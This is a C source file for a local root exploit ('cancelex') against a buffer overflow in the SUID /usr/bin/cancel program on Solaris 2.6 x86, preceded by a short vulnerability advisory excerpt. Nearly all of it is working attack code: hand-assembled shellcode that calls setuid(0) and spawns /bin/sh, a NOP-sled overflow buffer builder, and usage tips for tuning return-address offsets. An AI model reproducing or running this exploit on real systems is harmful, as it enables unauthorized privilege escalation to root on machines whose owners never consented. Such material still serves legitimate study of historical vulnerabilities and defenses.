119 lines
No EOL
3.3 KiB
C
119 lines
No EOL
3.3 KiB
C
/*
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source: https://www.securityfocus.com/bid/293/info
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A buffer overrun condition was discovered in Solaris 2.6 X_86 in /usr/bin/cancel. This buffer overflow is apparently present in the SPARC version as well although it is thought to be unexploitable. Previous versions of Solaris did not ship with /usr/bin/cancel as SUID root, so while the buffer overflow was present it was harmless. Solaris 7.0 fixes this problem by changing the vulnerable function call.
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*/
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/**
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*** cancelex - i386 Solaris root exploit for /usr/bin/cancel
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***
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*** Tested and confirmed under Solaris 2.6 (i386)
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***
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*** Usage: % cancelex hostname [offset]
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***
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*** where hostname is the name of a host running the printer service on
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*** TCP port 515 (such as "localhost" perhaps) and offset (if present)
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*** is the number of bytes to add to the stack pointer to calculate your
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*** target return address; try -1000 to 1000 in increments of 100 for
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*** starters.
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***
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*** Cheez Whiz
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*** cheezbeast@hotmail.com
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***
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*** February 25, 1999
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**/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#define BUFLEN 1031
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#define NOP 0x90
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char shell[] =
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/* 0 */ "\xeb\x3b" /* jmp springboard */
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/* syscall: */
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/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
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/* 9 */ "\xc3" /* ret */
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/* start: */
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/* 10 */ "\x5e" /* popl %esi */
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/* 11 */ "\x31\xc0" /* xor %eax,%eax */
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/* 13 */ "\x89\x46\xc1" /* movl %eax,-0x3f(%esi) */
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/* 16 */ "\x88\x46\xc6" /* movb %al,-0x3a(%esi) */
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/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
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/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
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/* setuid: */
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/* 25 */ "\x31\xc0" /* xor %eax,%eax */
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/* 27 */ "\x50" /* pushl %eax */
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/* 28 */ "\xb0\x17" /* movb $0x17,%al */
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/* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall */
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/* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp */
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/* execve: */
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/* 38 */ "\x31\xc0" /* xor %eax,%eax */
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/* 40 */ "\x50" /* pushl %eax */
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/* 41 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
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/* 44 */ "\x53" /* pushl %ebx */
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/* 45 */ "\x8d\x1e" /* leal (%esi),%ebx */
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/* 47 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
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/* 50 */ "\x53" /* pushl %ebx */
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/* 51 */ "\xb0\x3b" /* movb $0x3b,%al */
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/* 53 */ "\xe8\xc8\xff\xff\xff" /* call syscall */
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/* 58 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
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/* springboard: */
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/* 61 */ "\xe8\xc8\xff\xff\xff" /* call start */
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/* data: */
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/* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
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/* 74 */ "\xff\xff\xff\xff" /* DATA */
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/* 78 */ "\xff\xff\xff\xff"; /* DATA */
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char buf[BUFLEN+1];
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char *egg;
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unsigned long int esp, nop;
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long int offset = 0;
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unsigned long int
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get_esp()
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{
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__asm__("movl %esp,%eax");
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}
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void
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main(int argc, char *argv[])
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{
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int i;
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if (argc < 2) {
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printf("usage: %s hostname [offset]\n", argv[0]);
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return;
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}
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esp = get_esp();
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if (argc > 2)
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offset = strtol(argv[2], NULL, 0);
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if (argc > 3)
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nop = strtoul(argv[3], NULL, 0);
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else
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nop = 933;
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memset(buf, NOP, BUFLEN);
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memcpy(buf+nop, shell, strlen(shell));
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for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
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*((int *) &buf[i]) = esp+offset;
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if ((egg = (char *) malloc(strlen(argv[1])+1+BUFLEN+1)) == NULL) {
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printf("malloc failed!\n");
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return;
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}
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snprintf(egg, strlen(argv[1])+1+BUFLEN+1, "%s:%s", argv[1], buf);
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printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
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esp+offset, esp, offset, nop);
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execl("/usr/bin/cancel", "cancel", egg, NULL);
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/* execl("/usr/ucb/lprm", "lprm", "-P", egg, NULL); */
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printf("exec failed!\n");
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return;
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} |